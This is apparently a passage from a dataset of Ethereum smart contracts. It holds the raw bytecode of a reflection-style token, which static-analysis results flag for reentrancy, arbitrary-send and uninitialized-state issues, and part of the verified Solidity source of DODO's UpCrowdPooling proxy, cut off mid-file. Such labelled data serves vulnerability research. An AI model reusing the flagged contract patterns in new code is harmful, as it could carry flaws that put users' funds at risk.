8152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ac45973dfc828a0e240a42ed58daf580d390dbaf7be9d3ec7e3400d5c0c4629f64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,376 |
0x26D898A37782B04d6c460E11aEeCD8f3d99e91B8 | /**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
// File: contracts/intf/IDODOApprove.sol
/*
Copyright 2021 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/SmartRoute/intf/IDODOV2.sol
interface IDODOV2 {
//========== Common ==================
function sellBase(address to) external returns (uint256 receiveQuoteAmount);
function sellQuote(address to) external returns (uint256 receiveBaseAmount);
function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
function _BASE_TOKEN_() external view returns (address);
function _QUOTE_TOKEN_() external view returns (address);
function getPMMStateForCall() external view returns (
uint256 i,
uint256 K,
uint256 B,
uint256 Q,
uint256 B0,
uint256 Q0,
uint256 R
);
function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);
function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory);
//========== DODOVendingMachine ========
function createDODOVendingMachine(
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 i,
uint256 k,
bool isOpenTWAP
) external returns (address newVendingMachine);
function buyShares(address to) external returns (uint256,uint256,uint256);
//========== DODOPrivatePool ===========
function createDODOPrivatePool() external returns (address newPrivatePool);
function initDODOPrivatePool(
address dppAddress,
address creator,
address baseToken,
address quoteToken,
uint256 lpFeeRate,
uint256 k,
uint256 i,
bool isOpenTwap
) external;
function reset(
address operator,
uint256 newLpFeeRate,
uint256 newI,
uint256 newK,
uint256 baseOutAmount,
uint256 quoteOutAmount,
uint256 minBaseReserve,
uint256 minQuoteReserve
) external returns (bool);
function _OWNER_() external returns (address);
//========== CrowdPooling ===========
function createCrowdPooling() external returns (address payable newCrowdPooling);
function initCrowdPooling(
address cpAddress,
address creator,
address baseToken,
address quoteToken,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external;
function bid(address to) external;
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/proxies/DODOUpCpProxy.sol
/**
* @title DODOUpCpProxy
* @author DODO Breeder
*
* @notice UpCrowdPooling Proxy
*/
contract DODOUpCpProxy is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public immutable _WETH_;
address public immutable _DODO_APPROVE_PROXY_;
address public immutable _UPCP_FACTORY_;
// ============ Modifiers ============
modifier judgeExpired(uint256 deadLine) {
require(deadLine >= block.timestamp, "DODOUpCpProxy: EXPIRED");
_;
}
fallback() external payable {}
receive() external payable {}
constructor(
address payable weth,
address upCpFactory,
address dodoApproveProxy
) public {
_WETH_ = weth;
_UPCP_FACTORY_ = upCpFactory;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
//============ UpCrowdPooling Functions (create) ============
function createUpCrowdPooling(
address baseToken,
address quoteToken,
uint256 baseInAmount,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP,
uint256 deadLine
) external payable preventReentrant judgeExpired(deadLine) returns (address payable newUpCrowdPooling) {
address _baseToken = baseToken;
address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;
newUpCrowdPooling = IDODOV2(_UPCP_FACTORY_).createCrowdPooling();
_deposit(
msg.sender,
newUpCrowdPooling,
_baseToken,
baseInAmount,
false
);
newUpCrowdPooling.transfer(msg.value);
IDODOV2(_UPCP_FACTORY_).initCrowdPooling(
newUpCrowdPooling,
msg.sender,
_baseToken,
_quoteToken,
timeLine,
valueList,
isOpenTWAP
);
}
//====================== internal =======================
function _deposit(
address from,
address to,
address token,
uint256 amount,
bool isETH
) internal {
if (isETH) {
if (amount > 0) {
IWETH(_WETH_).deposit{value: amount}();
if (to != address(this)) SafeERC20.safeTransfer(IERC20(_WETH_), to, amount);
}
} else {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, amount);
}
}
